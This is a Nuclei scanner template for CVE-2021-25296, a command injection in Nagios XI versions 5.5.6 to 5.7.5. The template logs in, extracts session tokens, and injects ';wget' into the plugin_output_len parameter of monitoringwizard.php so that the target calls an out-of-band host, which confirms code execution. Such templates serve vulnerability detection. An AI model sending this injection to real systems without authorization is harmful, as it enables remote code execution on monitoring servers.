id: CVE-2021-25296

info:
  name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection
  author: k0pak4
  severity: high
  description: |
    Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL parameters.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://github.com/rapid7/metasploit-framework/pull/17494
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25296
    - http://nagios.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25296
    cwe-id: CWE-78
  metadata:
    shodan-query: title:"Nagios XI"
    verified: "true"
  tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev

requests:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

      - |
        GET /nagiosxi/index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body_4
        words:
          - "Event Log"
          - "Display Name"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true

      - type: regex
        part: body
        name: nsp_auth
        group: 1
        regex:
          - "var nsp_str = ['\"](.*)['\"];"
        internal: true